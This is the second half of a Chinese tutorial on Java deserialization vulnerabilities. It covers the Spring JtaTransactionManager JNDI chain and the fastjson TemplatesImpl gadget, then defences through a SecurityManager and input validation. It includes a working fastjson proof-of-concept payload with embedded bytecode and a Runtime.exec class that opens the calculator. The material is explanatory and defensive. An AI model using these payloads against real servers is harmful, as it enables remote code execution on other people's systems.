深入剖析 Java 反序列化漏洞(下)

先开启 server,再运行 client 后,计算器会直接被打开!

深入剖析 Java 反序列化漏洞(下)究其原因,主要是这个类JtaTransactionManager类存在问题,最终导致了漏洞的实现。

打开源码,翻到最下面,可以很清晰的看到JtaTransactionManager类重写了readObject方法。

深入剖析 Java 反序列化漏洞(下)


重点就是这个方法initUserTransactionAndTransactionManager(),里面会转调用到JndiTemplatelookup()方法。

深入剖析 Java 反序列化漏洞(下)

可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context。

也就是说,通过JtaTransactionManager类的setUserTransactionName()方法执行,最终指向了rmi://127.0.0.1:1099/Object,导致服务执行了恶意类的远程代码。

2.3、FASTJSON 框架的反序列化漏洞分析

我们先来看一个简单的例子,程序代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
    
    public Test() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app/");
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
    }
    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

运行程序之后,同样的直接会打开电脑中的计算器。

恶意代码植入的核心就是在对象初始化阶段,直接会调用Runtime.getRuntime().exec("open /Applications/Calculator.app/")这个方法,通过运行时操作类直接执行恶意代码。

我们在来看看下面这个例子:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class POC {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这个程序验证代码中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。

_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,所以是设置不了的,只能依赖于jdk的实现,某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。

如果你的jdk版本是1.7,并且fastjson <= 1.2.24,基本会执行成功,如果是高版本的,可能会报错!

详细分析请移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

Jackson 的反序列化漏洞也与之类似。

三、如何防范

从上面的案例看,java 的序列化和反序列化,单独使用的并没有啥毛病,核心问题也都不是反序列化,但都是因为反序列化导致了恶意代码被执行了,尤其是两个看似安全的组件,如果在同一系统中交叉使用,也能会带来一定安全问题。

3.1、禁止 JVM 执行外部命令 Runtime.exec

从上面的代码中,我们不难发现,恶意代码最终都是通过Runtime.exec这个方法得到执行,因此我们可以从 JVM 层面禁止外部命令的执行。

通过扩展 SecurityManager 可以实现:

public class SecurityManagerTest {
    public static void main(String[] args) {
        SecurityManager originalSecurityManager = System.getSecurityManager();
        if (originalSecurityManager == null) {
            // 创建自己的SecurityManager
            SecurityManager sm = new SecurityManager() {
                private void check(Permission perm) {
                    // 禁止exec
                    if (perm instanceof java.io.FilePermission) {
                        String actions = perm.getActions();
                        if (actions != null && actions.contains("execute")) {
                            throw new SecurityException("execute denied!");
                        }
                    }
                    // 禁止设置新的SecurityManager,保护自己
                    if (perm instanceof java.lang.RuntimePermission) {
                        String name = perm.getName();
                        if (name != null && name.contains("setSecurityManager")) {
                            throw new SecurityException("System.setSecurityManager denied!");
                        }
                    }
                }
                @Override
                public void checkPermission(Permission perm) {
                    check(perm);
                }
                @Override
                public void checkPermission(Permission perm, Object context) {
                    check(perm);
                }
            };
            System.setSecurityManager(sm);
        }
    }
}

只要在 Java 代码里简单加上面那一段,就可以禁止执行外部程序了,但是并非禁止外部程序执行,Java 程序就安全了,有时候可能适得其反,因为执行权限被控制太苛刻了,不见得是个好事,我们还得想其他招数。

3.2、增加多层数据校验

比较有效的办法是,当我们把接口参数暴露出去之后,服务端要及时做好数据参数的验证,尤其是那种带有httphttpsrmi等这种类型的参数过滤验证,可以进一步降低服务的风险。

四、小结

随着 Json 数据交换格式的普及,直接应用在服务端的反序列化接口也随之减少,但陆续爆出的JacksonFastjson两大 Json 处理库的反序列化漏洞,也暴露出了一些问题。

所以我们在日常业务开发的时候,对于 Java 反序列化的安全问题应该具备一定的防范意识,并着重注意传入数据的校验、服务器权限和相关日志的检查, API 权限控制,通过 HTTPS 加密传输数据等方面进行下功夫,以免造成不必要的损失!

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